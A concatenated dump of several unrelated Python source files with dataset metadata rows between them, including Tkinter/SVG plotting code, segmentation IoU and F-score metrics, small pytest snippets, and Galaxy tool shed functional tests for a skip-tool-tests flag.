for [val, name] in self.marker_names:
marker_menu.add_radiobutton(label = name, variable = self.marker, value = val, command = self.configure_curve_callback)
self.curve_menu.add_cascade(label = 'Marker', menu = marker_menu)
marker_color_menu = tk.Menu(self.curve_menu, tearoff = 0)
for [val, name] in self.color_names:
marker_color_menu.add_radiobutton(label = name, variable = self.marker_color, value = val, command = self.configure_curve_callback)
self.curve_menu.add_cascade(label = 'Marker color', menu = marker_color_menu)
curve_style_menu = tk.Menu(self.curve_menu, tearoff = 0)
for [val, name] in self.linestyle_names:
curve_style_menu.add_radiobutton(label = name, variable = self.curve_style, value = val, command = self.configure_curve_callback)
self.curve_menu.add_cascade(label = 'Curve style', menu = curve_style_menu)
curve_color_menu = tk.Menu(self.curve_menu, tearoff = 0)
for [val, name] in self.color_names:
curve_color_menu.add_radiobutton(label = name, variable = self.curve_color, value = val, command = self.configure_curve_callback)
self.curve_menu.add_cascade(label = 'Curve color', menu = curve_color_menu)
self.curve_menu.add_separator()
self.curve_menu.add_command(label = 'Delete', command = lambda: self.delete_curve(self.curve_name))
windowing_system = self.root.tk.call('tk', 'windowingsystem')
self.arrow = 'arrow'
# if windowing_system=='x11':
# self.zoom = ('@cursors/zoom.xbm', 'cursors/zoom.xbm', 'black', 'white')
# self.zoomin = ('@cursors/zoomin.xbm', 'cursors/zoommask.xbm', 'black', 'white')
# self.zoomout = ('@cursors/zoomout.xbm', 'cursors/zoommask.xbm', 'black', 'white')
# self.openhand = ('@cursors/openhand.xbm', 'cursors/openhandmask.xbm', 'black', 'white')
# self.closedhand = ('@cursors/closedhand.xbm', 'cursors/closedhandmask.xbm', 'black', 'white')
# elif windowing_system=='win32':
# self.zoom = '@cursors/zoom.cur'
# self.zoomin = '@cursors/zoomin.cur'
# self.zoomout = '@cursors/zoomout.cur'
# self.openhand = '@cursors/openhand.cur'
# self.closedhand = '@cursors/closedhand.cur'
# elif windowing_system=='aqua':
# self.zoom = 'arrow'
# self.zoomin = 'arrow'
# self.zoomout = 'arrow'
# self.openhand = 'openhand'
# self.closedhand = 'closedhand'
# else:
self.zoom = 'arrow'
self.zoomin = 'arrow'
self.zoomout = 'arrow'
self.openhand = 'arrow'
self.closedhand = 'arrow'
self.canvas.bind('<Control-Button-1>', self.curve_context_menu)
self.canvas.bind('<Button-3>', self.curve_context_menu)
self.canvas.bind('<Escape>', self.cancel_mouse_zoom_pan)
self.canvas.bind('z', self.setup_mouse_zoom)
self.canvas.bind('b', self.setup_mouse_box_zoom)
self.canvas.bind('p', self.setup_mouse_pan)
def curve_context_menu(self, event):
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
if (x > self.axes_left) and (x < self.axes_right) and (y > self.axes_top) and (y < self.axes_bottom):
items = self.canvas.find_overlapping(x - 2., y - 2., x + 2., y + 2.)
name = ''
for item in items:
tags = self.canvas.gettags(item)
if (tags != ()) and (tags[0] != 'current'):
name = tags[0]
if name != '':
if name in self.curves:
self.curve_name = name
self.marker_color.set(self.curves[name].marker_color)
self.marker.set(self.curves[name].marker)
self.curve_color.set(self.curves[name].curve_color)
self.curve_style.set(self.curves[name].curve_style)
else:
raise NameError('no curve exists with name = {0!r}'.format(name))
self.curve_menu.post(event.x_root, event.y_root)
def configure_curve_callback(self):
marker = self.marker.get()
if marker == ' ':
marker = ''
curve_style = self.curve_style.get()
if curve_style == ' ':
curve_style = ''
if self.curve_name in self.curves:
if (marker == '') and (curve_style == ''):
self.delete_curve(self.curve_name)
else:
self.curves[self.curve_name].marker_color = self.marker_color.get()
self.curves[self.curve_name].marker = marker
self.curves[self.curve_name].curve_color = self.curve_color.get()
self.curves[self.curve_name].curve_style = curve_style
else:
raise NameError('no curve exists with name = {0!r}'.format(name))
self.refresh_plot()
def cancel_mouse_zoom_pan(self, event):
self.canvas.bind('<Button-1>', lambda event: None)
self.canvas.bind('<Shift-Button-1>', lambda event: None)
self.canvas.bind('<Shift_L>', lambda event: None)
self.canvas.bind('<KeyRelease-Shift_L>', lambda event: None)
self.canvas.bind('<B1-Motion>', lambda event: None)
self.canvas.bind('<ButtonRelease-1>', lambda event: None)
self.canvas.configure(cursor = self.arrow)
def setup_mouse_zoom(self, event):
self.canvas.bind('<Button-1>', self.mouse_zoom_in)
self.canvas.bind('<Shift-Button-1>', self.mouse_zoom_out)
self.canvas.bind('<Shift_L>', lambda event: self.canvas.configure(cursor = self.zoomout))
self.canvas.bind('<KeyRelease-Shift_L>', lambda event: self.canvas.configure(cursor = self.zoomin))
self.canvas.bind('<B1-Motion>', lambda event: None)
self.canvas.bind('<ButtonRelease-1>', lambda event: None)
self.canvas.configure(cursor = self.zoomin)
def mouse_zoom_in(self, event):
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom):
self.zoom_in(cx = x, cy = y)
def mouse_zoom_out(self, event):
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom):
self.zoom_out(cx = x, cy = y)
def setup_mouse_box_zoom(self, event):
self.canvas.bind('<Button-1>', self.start_mouse_box_zoom)
self.canvas.bind('<Shift-Button-1>', lambda event: None)
self.canvas.bind('<Shift_L>', lambda event: None)
self.canvas.bind('<KeyRelease-Shift_L>', lambda event: None)
self.canvas.bind('<B1-Motion>', lambda event: None)
self.canvas.bind('<ButtonRelease-1>', lambda event: None)
self.canvas.configure(cursor = self.zoom)
def start_mouse_box_zoom(self, event):
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom):
self.x0 = x
self.y0 = y
self.canvas.create_rectangle([self.x0, self.y0, self.x0, self.y0], outline = self.axes_color, fill = '', dash = (1, 4), tags = 'zoombox')
self.canvas.bind('<B1-Motion>', self.continue_mouse_box_zoom)
self.canvas.bind('<ButtonRelease-1>', self.finish_mouse_box_zoom)
def continue_mouse_box_zoom(self, event):
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
if x < self.axes_left:
x = self.axes_left
if x > self.axes_right:
x = self.axes_right
if y < self.axes_top:
y = self.axes_top
if y > self.axes_bottom:
y = self.axes_bottom
self.canvas.coords('zoombox', self.x0, self.y0, x, y)
def finish_mouse_box_zoom(self, event):
self.canvas.delete('zoombox')
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
if x < self.axes_left:
x = self.axes_left
if x > self.axes_right:
x = self.axes_right
if y < self.axes_top:
y = self.axes_top
if y > self.axes_bottom:
y = self.axes_bottom
if x < self.x0:
self.x0, x = x, self.x0
if y < self.y0:
self.y0, y = y, self.y0
self.zoom_rect([self.x0, self.y0, x, y])
self.canvas.bind('<B1-Motion>', lambda event: None)
self.canvas.bind('<ButtonRelease-1>', lambda event: None)
def setup_mouse_pan(self, event):
self.canvas.bind('<Button-1>', self.start_mouse_pan)
self.canvas.bind('<Shift-Button-1>', lambda event: None)
self.canvas.bind('<Shift_L>', lambda event: None)
self.canvas.bind('<KeyRelease-Shift_L>', lambda event: None)
self.canvas.bind('<B1-Motion>', lambda event: None)
self.canvas.bind('<ButtonRelease-1>', lambda event: None)
self.canvas.configure(cursor = self.openhand)
def start_mouse_pan(self, event):
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
if (x >= self.axes_left) and (x <= self.axes_right) and (y >= self.axes_top) and (y <= self.axes_bottom):
self.x0 = x
self.y0 = y
self.canvas.bind('<B1-Motion>', self.continue_mouse_pan)
self.canvas.bind('<ButtonRelease-1>', self.finish_mouse_pan)
self.canvas.configure(cursor = self.closedhand)
def continue_mouse_pan(self, event):
x = self.canvas.canvasx(event.x)
y = self.canvas.canvasy(event.y)
self.pan(dx = x - self.x0, dy = y - self.y0)
self.x0 = x
self.y0 = y
def finish_mouse_pan(self, event):
self.canvas.bind('<B1-Motion>', lambda event: None)
self.canvas.bind('<ButtonRelease-1>', lambda event: None)
self.canvas.configure(cursor = self.openhand)
def tk_backend(self):
self.erase_plot = self.tk_erase_plot
self.draw_rect = self.tk_draw_rect
self.draw_oval = self.tk_draw_oval
self.draw_line = self.tk_draw_line
self.draw_text = self.tk_draw_text
self.begin_group = self.tk_begin_group
self.end_group = self.tk_end_group
def tk_erase_plot(self):
self.canvas.delete('all')
def tk_draw_rect(self, **kwargs):
coords = kwargs.get('coords', [])
outline_color = kwargs.get('outline', '')
fill_color = kwargs.get('fill', '')
name = kwargs.get('name', '')
item = self.canvas.create_rectangle(coords, outline = outline_color, fill = fill_color)
if name != '':
self.canvas.itemconfig(item, tags = name)
def tk_draw_oval(self, **kwargs):
coords = kwargs.get('coords', [])
outline_color = kwargs.get('outline', '')
fill_color = kwargs.get('fill', '')
line_weight = kwargs.get('width', 1.)
name = kwargs.get('name', '')
item = self.canvas.create_oval(coords, outline = outline_color, fill = fill_color, width = line_weight)
if name != '':
self.canvas.itemconfig(item, tags = name)
def tk_draw_line(self, **kwargs):
coords = kwargs.get('coords', [])
fill = kwargs.get('fill', '')
line_style = kwargs.get('dash', ())
line_weight = kwargs.get('width', 1.)
name = kwargs.get('name', '')
item = self.canvas.create_line(coords, fill = fill, dash = line_style, width = line_weight)
if name != '':
self.canvas.itemconfig(item, tags = name)
def tk_draw_text(self, **kwargs):
text = kwargs.get('text', '')
coords = kwargs.get('coords', [])
fill = kwargs.get('fill', '')
font = kwargs.get('font', (self.label_font, self.label_fontsize))
anchor = kwargs.get('anchor', 'center')
justify = kwargs.get('justify', 'center')
name = kwargs.get('name', '')
if text != '':
item = self.canvas.create_text(coords, text = text, font = font, fill = fill, anchor = anchor, justify = justify)
if name != '':
self.canvas.itemconfig(item, tags = name)
def tk_begin_group(self, **kwargs):
pass
def tk_end_group(self, **kwargs):
pass
def svg_backend(self):
self.erase_plot = self.svg_erase_plot
self.draw_rect = self.svg_draw_rect
self.draw_oval = self.svg_draw_oval
self.draw_line = self.svg_draw_line
self.draw_text = self.svg_draw_text
self.begin_group = self.svg_begin_group
self.end_group = self.svg_end_group
def svg_erase_plot(self):
pass
def svg_draw_rect(self, **kwargs):
coords = kwargs.get('coords', [])
outline_color = kwargs.get('outline', 'none')
fill_color = kwargs.get('fill', 'none')
name = kwargs.get('name', '')
self.svg_file.write(u'{indent}<rect x="{x!s}" y="{y!s}" width="{width!s}" height="{height!s}" stroke="{outline_color}" fill="{fill_color}"/>\n'.format(indent = ' ' * self.svg_indent_level, x = coords[0], y = coords[1], width = coords[2] - coords[0], height = coords[3] - coords[1], outline_color = outline_color, fill_color = fill_color))
def svg_draw_oval(self, **kwargs):
coords = kwargs.get('coords', [])
outline_color = kwargs.get('outline', '')
fill_color = kwargs.get('fill', '')
line_weight = kwargs.get('width', 1.)
name = kwargs.get('name', '')
self.svg_file.write(u'{indent}<ellipse cx="{cx!s}" cy="{cy!s}" rx="{rx!s}" ry="{ry!s}" stroke="{outline_color}" stroke-width="{width!s}px" fill="{fill_color}"/>\n'.format(indent = ' ' * self.svg_indent_level, cx = 0.5 * (coords[0] + coords[2]), cy = 0.5 * (coords[1] + coords[3]), rx = 0.5 * (coords[2] - coords[0]), ry = 0.5 * (coords[3] - coords[1]), outline_color = outline_color, width = line_weight, fill_color = fill_color))
def svg_draw_line(self, **kwargs):
coords = kwargs.get('coords', [])
fill = kwargs.get('fill', '')
line_style = kwargs.get('dash', ())
line_weight = kwargs.get('width', 1.)
name = kwargs.get('name', '')
if len(coords) >= 4:
self.svg_file.write(u'{indent}<polyline points="{x1!s}'.format(indent = ' ' * self.svg_indent_level, x1 = coords[0]))
for i in range(1, len(coords)):
if (i % 2) == 1:
self.svg_file.write(u',{y!s}'.format(y = coords[i]))
else:
self.svg_file.write(u' {x!s}'.format(x = coords[i]))
if len(line_style) == 0:
self.svg_file.write(u'" stroke="{color}" stroke-width="{width!s}px" fill="none"/>\n'.format(color = fill, width = line_weight))
else:
self.svg_file.write(u'" stroke="{color}" stroke-width="{width!s}px" fill="none" stroke-dasharray="{dash}"/>\n'.format(color = fill, width = line_weight, dash = ', '.join([str(n) for n in line_style])))
def svg_draw_text(self, **kwargs):
text = kwargs.get('text', '')
coords = kwargs.get('coords', [])
fill = kwargs.get('fill', '')
font = kwargs.get('font', (self.label_font, self.label_fontsize))
anchor = kwargs.get('anchor', 'center')
justify = kwargs.get('justify', 'center')
name = kwargs.get('name', '')
if anchor == 'center':
coords[1] += 0.25 * font[1]
text_anchor = 'middle'
elif anchor == 'n':
coords[1] += 0.75 * font[1]
text_anchor = 'middle'
elif anchor == 'ne':
coords[1] += 0.75 * font[1]
text_anchor = 'end'
elif anchor == 'e':
coords[1] += 0.25 * font[1]
text_anchor = 'end'
elif anchor == 'se':
coords[1] -= 0.25 * font[1]
text_anchor = 'end'
elif anchor == 's':
coords[1] -= 0.25 * font[1]
text_anchor = 'middle'
elif anchor == 'sw':
coords[1] -= 0.25 * font[1]
text_anchor = 'start'
elif anchor == 'w':
coords[1] += 0.25 * font[1]
text_anchor = 'start'
elif anchor == 'nw':
coords[1] += 0.75 * font[1]
text_anchor = 'start'
else:
raise ValueError('anchor value must be "center", "n", "ne", "e", "se", "s", "sw", "w", or "nw".')
self.svg_file.write(u'{indent}<text x="{x!s}" y="{y!s}" fill="{fill}" text-anchor="{text_anchor}" font-family="{font_name}" font-size="{font_size!s}">{text}</text>\n'.format(indent = ' ' * self.svg_indent_level, x = coords[0], y = coords[1], fill = fill, text_anchor = text_anchor, font_name = font[0], font_size = font[1], text = text))
def svg_begin_group(self, **kwargs):
name = kwargs.get('name', '')
if name != '':
self.svg_file.write(u'{indent}<g id="{name}">\n'.format(indent = ' ' * self.svg_indent_level, name = name))
else:
self.svg_file.write(u'{indent}<g>\n'.format(indent = ' ' * self.svg_indent_level))
self.svg_indent_level += 1
def svg_end_group(self, **kwargs):
self.svg_indent_level -= 1
if self.svg_indent_level < 0:
self.svg_intent_level = 0
self.svg_file.write(u'{indent}</g>\n'.format(indent = ' ' * self.svg_indent_level))
| 57.196291
| 441
| 0.557856
| 17,271
| 126,461
| 3.871287
| 0.034046
| 0.026922
| 0.032246
| 0.018471
| 0.846577
| 0.801394
| 0.746579
| 0.700543
| 0.66046
| 0.633194
| 0
| 0.0234
| 0.303192
| 126,461
| 2,210
| 442
| 57.222172
| 0.735358
| 0.018654
| 0
| 0.546166
| 0
| 0.004173
| 0.054711
| 0.00254
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055816
| false
| 0.001565
| 0.002087
| 0.002087
| 0.069379
| 0
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| 0
| null | 0
| 0
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| 1
| 1
| 1
| 1
| 0
| 1
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| 0
| null | 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
9c110b53cb50d83af076d8d2c4d9284ca92cd977
| 206
|
py
|
Python
|
pyroSAR/gamma/__init__.py
|
rickyHong/SAR-satelite-data-framework-repl
|
1f545b2f96d741c29ee378486c2a4fdb215e2d36
|
[
"MIT"
] | 2
|
2019-04-16T10:06:22.000Z
|
2020-08-15T00:48:02.000Z
|
pyroSAR/gamma/__init__.py
|
sheecegardezi/pyroSAR
|
3d25adc4c83a672f74f2a6aea439aec9a096b5e8
|
[
"MIT"
] | null | null | null |
pyroSAR/gamma/__init__.py
|
sheecegardezi/pyroSAR
|
3d25adc4c83a672f74f2a6aea439aec9a096b5e8
|
[
"MIT"
] | 1
|
2019-12-06T02:17:01.000Z
|
2019-12-06T02:17:01.000Z
|
from .auxil import process, ISPPar, UTM, Spacing, Namespace, slc_corners, ExamineGamma, par2hdr
from .util import geocode, multilook, ovs, convert2gamma, calibrate, correctOSV, S1_deburst
from . import dem
| 51.5
| 95
| 0.800971
| 26
| 206
| 6.269231
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016575
| 0.121359
| 206
| 3
| 96
| 68.666667
| 0.883978
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
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| null | 0
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| 0
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| 0
| 0
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| 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9c138948112b76952f741b7be90124819eca9c52
| 2,130
|
py
|
Python
|
segmentation_models_pytorch/utils/functions.py
|
vfdev-5/segmentation_models.pytorch
|
07a0040df57be5ed3a923435aa2912c3fa2e5673
|
[
"MIT"
] | 1
|
2019-05-08T02:21:21.000Z
|
2019-05-08T02:21:21.000Z
|
segmentation_models_pytorch/utils/functions.py
|
vfdev-5/segmentation_models.pytorch
|
07a0040df57be5ed3a923435aa2912c3fa2e5673
|
[
"MIT"
] | null | null | null |
segmentation_models_pytorch/utils/functions.py
|
vfdev-5/segmentation_models.pytorch
|
07a0040df57be5ed3a923435aa2912c3fa2e5673
|
[
"MIT"
] | 1
|
2022-01-01T12:01:02.000Z
|
2022-01-01T12:01:02.000Z
|
import torch
def iou(pr, gt, eps=1e-7, threshold=None, activation='sigmoid'):
"""
Source:
https://github.com/catalyst-team/catalyst/
Args:
pr (torch.Tensor): A list of predicted elements
gt (torch.Tensor): A list of elements that are to be predicted
eps (float): epsilon to avoid zero division
threshold: threshold for outputs binarization
Returns:
float: IoU (Jaccard) score
"""
if activation is None or activation == "none":
activation_fn = lambda x: x
elif activation == "sigmoid":
activation_fn = torch.nn.Sigmoid()
elif activation == "softmax2d":
activation_fn = torch.nn.Softmax2d()
else:
raise NotImplementedError(
"Activation implemented for sigmoid and softmax2d"
)
pr = activation_fn(pr)
if threshold is not None:
pr = (pr > threshold).float()
intersection = torch.sum(gt * pr)
union = torch.sum(gt) + torch.sum(pr) - intersection + eps
return (intersection + eps) / union
jaccard = iou
def f_score(pr, gt, beta=1, eps=1e-7, threshold=None, activation='sigmoid'):
"""
Args:
pr (torch.Tensor): A list of predicted elements
gt (torch.Tensor): A list of elements that are to be predicted
eps (float): epsilon to avoid zero division
threshold: threshold for outputs binarization
Returns:
float: IoU (Jaccard) score
"""
if activation is None or activation == "none":
activation_fn = lambda x: x
elif activation == "sigmoid":
activation_fn = torch.nn.Sigmoid()
elif activation == "softmax2d":
activation_fn = torch.nn.Softmax2d()
else:
raise NotImplementedError(
"Activation implemented for sigmoid and softmax2d"
)
pr = activation_fn(pr)
if threshold is not None:
pr = (pr > threshold).float()
tp = torch.sum(gt * pr)
fp = torch.sum(pr) - tp
fn = torch.sum(gt) - tp
score = ((1 + beta ** 2) * tp + eps) \
/ ((1 + beta ** 2) * tp + beta ** 2 * fn + fp + eps)
return score
| 28.026316
| 76
| 0.602347
| 262
| 2,130
| 4.862595
| 0.251908
| 0.075353
| 0.037677
| 0.050235
| 0.789639
| 0.789639
| 0.789639
| 0.733124
| 0.733124
| 0.733124
| 0
| 0.010575
| 0.289671
| 2,130
| 75
| 77
| 28.4
| 0.831461
| 0.273239
| 0
| 0.615385
| 0
| 0
| 0.102669
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.051282
| false
| 0
| 0.025641
| 0
| 0.128205
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
9c3d5e5ae66c41c1e940eddb693607bddc40fc63
| 32
|
py
|
Python
|
src/booking/tests/fixtures.py
|
madein713/aviata-test
|
d403a348acd4d9ea3bfed6e82c1035dccf1b1393
|
[
"MIT"
] | null | null | null |
src/booking/tests/fixtures.py
|
madein713/aviata-test
|
d403a348acd4d9ea3bfed6e82c1035dccf1b1393
|
[
"MIT"
] | null | null | null |
src/booking/tests/fixtures.py
|
madein713/aviata-test
|
d403a348acd4d9ea3bfed6e82c1035dccf1b1393
|
[
"MIT"
] | null | null | null |
import pytest
@pytest.fixture
| 6.4
| 15
| 0.78125
| 4
| 32
| 6.25
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 32
| 4
| 16
| 8
| 0.925926
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.5
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
9c3d9a791c0967f68a6859c4e36aaf594ad26d58
| 74
|
py
|
Python
|
testing/example_scripts/collect/package_infinite_recursion/conftest.py
|
tinkerlin/pytest
|
bed3918cbc800682681a26c163f4cb0868b3a612
|
[
"MIT"
] | 5,079
|
2015-01-01T03:39:46.000Z
|
2022-03-31T07:38:22.000Z
|
testing/example_scripts/collect/package_infinite_recursion/conftest.py
|
tinkerlin/pytest
|
bed3918cbc800682681a26c163f4cb0868b3a612
|
[
"MIT"
] | 1,623
|
2015-01-01T08:06:24.000Z
|
2022-03-30T19:48:52.000Z
|
testing/example_scripts/collect/package_infinite_recursion/conftest.py
|
tinkerlin/pytest
|
bed3918cbc800682681a26c163f4cb0868b3a612
|
[
"MIT"
] | 2,033
|
2015-01-04T07:18:02.000Z
|
2022-03-28T19:55:47.000Z
|
# -*- coding: utf-8 -*-
def pytest_ignore_collect(path):
return False
| 18.5
| 32
| 0.662162
| 10
| 74
| 4.7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016393
| 0.175676
| 74
| 3
| 33
| 24.666667
| 0.754098
| 0.283784
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
9c615b254d9a57ab6694b946cab3c5070a2119e1
| 14,557
|
py
|
Python
|
test/tool_shed/functional/test_0450_skip_tool_tests.py
|
bopopescu/phyG
|
023f505b705ab953f502cbc55e90612047867583
|
[
"CC-BY-3.0"
] | null | null | null |
test/tool_shed/functional/test_0450_skip_tool_tests.py
|
bopopescu/phyG
|
023f505b705ab953f502cbc55e90612047867583
|
[
"CC-BY-3.0"
] | null | null | null |
test/tool_shed/functional/test_0450_skip_tool_tests.py
|
bopopescu/phyG
|
023f505b705ab953f502cbc55e90612047867583
|
[
"CC-BY-3.0"
] | 1
|
2020-07-25T21:03:18.000Z
|
2020-07-25T21:03:18.000Z
|
from tool_shed.base.twilltestcase import ShedTwillTestCase, common, os
import tool_shed.base.test_db_util as test_db_util
import logging
log = logging.getLogger( __name__ )
category_name = 'Test 0450 Skip Tool Tests'
category_description = 'Test 0450 Skip Tool Tests'
repository_name = 'filtering_0450'
repository_description = "Galaxy's filtering tool for test 0450"
repository_long_description = "Long description of Galaxy's filtering tool for test 0450"
first_metadata_revision = None
'''
1) Create and populate a repository so that it has a single metadata revision.
2) Visit the Manage repository page and check the "Skip tool tests for this revision" checkbox
and enter some text in the reason.
3) Upload a README file to the repository so that the original metadata revision is moved upward
in the changelog ( do not upload anything that will create a new metadata revision ).
4) Visit the Manage repository page again, the checked "Skip tool tests" checkbox and the reason
should still be displayed since it should now be associated with this metadata revision.
5) Upload a new version of the tool to the repository so that a new metadata changeset revision
is created (there should now be 3 revisions with 2 of them having associated metadata).
6) Visit the Manage repository page for the tip revision - the Skip tools tests checkbox should
not be checked and the reason should be empty.
7) Visit the Manage repository page for the previous metadata revision (with the README file in it).
The Skip tool tests checkbox should still be checked and the reason should be there.
8) Set the skip setting on the new metadata revision.
9) Upload a readme file to the repository again, and verify that the skip setting is updated.
10) Check the first revision, make sure the skip reason matches.
11) Check the second revision, make sure the skip reason matches.
13) Uncheck the checkbox for the first revision, and verify that the skip reason is no longer displayed.
14) Uncheck the checkbox for the second revision, and verify that the skip reason is no longer displayed.
'''
class TestSkipToolTestFeature( ShedTwillTestCase ):
'''Test core repository features.'''
def test_0000_initiate_users( self ):
"""Create necessary user accounts and login as an admin user."""
self.logout()
self.login( email=common.test_user_1_email, username=common.test_user_1_name )
test_user_1 = test_db_util.get_user( common.test_user_1_email )
assert test_user_1 is not None, 'Problem retrieving user with email %s from the database' % common.test_user_1_email
test_user_1_private_role = test_db_util.get_private_role( test_user_1 )
self.logout()
self.login( email=common.test_user_2_email, username=common.test_user_2_name )
test_user_2 = test_db_util.get_user( common.test_user_2_email )
assert test_user_2 is not None, 'Problem retrieving user with email %s from the database' % common.test_user_2_email
test_user_2_private_role = test_db_util.get_private_role( test_user_2 )
self.logout()
self.login( email=common.admin_email, username=common.admin_username )
admin_user = test_db_util.get_user( common.admin_email )
assert admin_user is not None, 'Problem retrieving user with email %s from the database' % common.admin_email
admin_user_private_role = test_db_util.get_private_role( admin_user )
def test_0005_create_repository( self ):
'''Create and populate the filtering repository'''
'''
This is step 1 - Create and populate a repository so that it has a single metadata revision.
'''
self.create_category( name=category_name, description=category_description )
self.logout()
self.login( email=common.test_user_1_email, username=common.test_user_1_name )
category = test_db_util.get_category_by_name( category_name )
strings_displayed = [ 'Repository %s' % "'%s'" % repository_name,
'Repository %s has been created' % "'%s'" % repository_name ]
repository = self.get_or_create_repository( name=repository_name,
description=repository_description,
long_description=repository_long_description,
owner=common.test_user_1_name,
category_id=self.security.encode_id( category.id ),
strings_displayed=strings_displayed )
self.upload_file( repository,
filename='filtering/filtering_1.1.0.tar',
filepath=None,
valid_tools_only=True,
uncompress_file=False,
remove_repo_files_not_in_tar=False,
commit_message='Populate filtering_0450 with version 1.1.0',
strings_displayed=[],
strings_not_displayed=[] )
def test_0010_set_skip_tool_tests_flag( self ):
'''Set the skip tool tests flag on filtering_0450.'''
'''
This is step 2 - Visit the Manage repository page and check the "Skip tool tests for this revision" checkbox and
enter some text in the reason.
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.set_skip_tool_tsts_flag( repository=repository, flag_value=True, reason='Skip reason for first revision.' )
self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for first revision.' ] )
def test_0015_upload_readme_file( self ):
'''Upload readme.txt to the filtering_0450 repository.'''
'''
This is step 3 - Upload a README file to the repository so that the original metadata revision is moved
upward in the changelog. This should result in the skip_tool_tests setting being applied to the updated
metadata revision.
'''
global first_metadata_revision
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.upload_file( repository,
filename='filtering/readme.txt',
filepath=None,
valid_tools_only=True,
uncompress_file=False,
remove_repo_files_not_in_tar=False,
commit_message='Add a readme file.',
strings_displayed=[],
strings_not_displayed=[] )
first_metadata_revision = self.get_repository_tip( repository )
def test_0020_verify_skip_on_new_revision( self ):
'''Check that the skip tool tests setting was updated.'''
'''
This is step 4 - Visit the Manage repository page again, the checked "Skip tool tests" checkbox and
the reason should still be displayed since it should now be associated with this metadata revision.
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for first revision.' ] )
def test_0025_upload_new_tool_version( self ):
'''Upload filtering 2.2.0.'''
'''
This is step 5 - Upload a new version of the tool to the repository so that a new metadata changeset
revision is created (there should now be 3 revisions with 2 of them having associated metadata).
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.upload_file( repository,
filename='filtering/filtering_2.2.0.tar',
filepath=None,
valid_tools_only=True,
uncompress_file=False,
remove_repo_files_not_in_tar=False,
commit_message='Upload the filtering 2.2.0 tarball.',
strings_displayed=[],
strings_not_displayed=[] )
def test_0030_verify_skip_not_set( self ):
'''Verify that skip tool tests is not set for the new metadata revision.'''
'''
This is step 6 - Visit the Manage repository page for the tip revision - the Skip tools tests checkbox
should not be checked and the reason should be empty.
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.display_manage_repository_page( repository, strings_not_displayed=[ 'Skip reason for first revision.' ] )
def test_0045_verify_previous_revision_skip_setting( self ):
'''Check that the previous metadata revision is still set to skip tool tests.'''
'''
This is step 7 - Visit the Manage repository page for the previous metadata revision (with the README
file in it). The Skip tool tests checkbox should still be checked and the reason should be there.
'''
global first_metadata_revision
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.display_manage_repository_page( repository,
changeset_revision=first_metadata_revision,
strings_displayed=[ 'Skip reason for first revision.' ] )
def test_0050_set_new_revision_not_to_be_tested( self ):
'''Set the new changeset to skip tests.'''
'''
This is step 8 - Set the skip setting on the new metadata revision.
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
self.set_skip_tool_tsts_flag( repository=repository, flag_value=True, reason='Skip reason for second revision.' )
self.display_manage_repository_page( repository, strings_displayed=[ 'Skip reason for second revision.' ] )
def test_0060_upload_another_readme_file( self ):
'''Upload readme.txt to the filtering_0450 repository.'''
'''
This is step 9 - Upload a README file to the repository so that the original metadata revision is moved
upward in the changelog. This should result in the skip_tool_tests setting being applied to the updated
metadata revision.
'''
repository = test_db_util.get_repository_by_name_and_owner( repository_name, common.test_user_1_name )
